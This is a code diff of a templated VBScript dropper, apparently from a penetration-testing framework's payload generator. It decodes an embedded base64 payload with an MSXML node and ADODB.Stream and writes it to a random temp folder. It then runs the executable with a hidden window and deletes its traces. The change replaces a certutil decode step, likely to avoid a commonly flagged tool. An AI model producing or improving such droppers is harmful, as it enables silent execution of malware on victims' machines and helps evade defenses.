1
+ Function %{var_decodefunc}(%{var_decodebase64})
2
+ %{var_xml} = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
3
+ "dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
4
+ %{var_decodebase64} & "</B64DECODE>"
5
+ Set %{var_xmldoc} = CreateObject("MSXML2.DOMDocument.3.0")
6
+ %{var_xmldoc}.LoadXML(%{var_xml})
7
+ %{var_decodefunc} = %{var_xmldoc}.selectsinglenode("B64DECODE").nodeTypedValue
8
+ set %{var_xmldoc} = nothing
9
+ End Function
10
+
1
11
Function %{var_func}()
2
12
%{var_shellcode} = "%{base64_shellcode}"
3
-
4
13
Dim %{var_obj}
5
14
Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
6
- Dim %{var_stream}
7
15
Dim %{var_tempdir}
8
- Dim %{var_tempbase64}
9
16
Dim %{var_basedir}
10
17
Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
11
18
%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
12
19
%{var_obj}.CreateFolder(%{var_basedir})
13
- %{var_tempbase64} = %{var_basedir} & "\" & "%{base64_filename}"
14
20
%{var_tempexe} = %{var_basedir} & "\" & "%{exe_filename}"
15
- Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempbase64}, true , false)
16
- %{var_stream}.Write %{var_shellcode}
17
- %{var_stream}.Close
18
21
Dim %{var_shell}
19
22
Set %{var_shell} = CreateObject("Wscript.Shell")
20
- %{var_shell}.run "certutil -decode " & %{var_tempbase64} & " " & %{var_tempexe}, 0, true
23
+ %{var_decoded} = %{var_decodefunc}(%{var_shellcode})
24
+ Set %{var_adodbstream} = CreateObject("ADODB.Stream")
25
+ %{var_adodbstream}.Type = 1
26
+ %{var_adodbstream}.Open
27
+ %{var_adodbstream}.Write %{var_decoded}
28
+ %{var_adodbstream}.SaveToFile %{var_tempexe}, 2
21
29
%{var_shell}.run %{var_tempexe}, 0, true
22
30
%{var_obj}.DeleteFile(%{var_tempexe})
23
- %{var_obj}.DeleteFile(%{var_tempbase64})
24
31
%{var_obj}.DeleteFolder(%{var_basedir})
25
32
End Function
26
33
27
- %{init}
34
+ %{init}
0 commit comments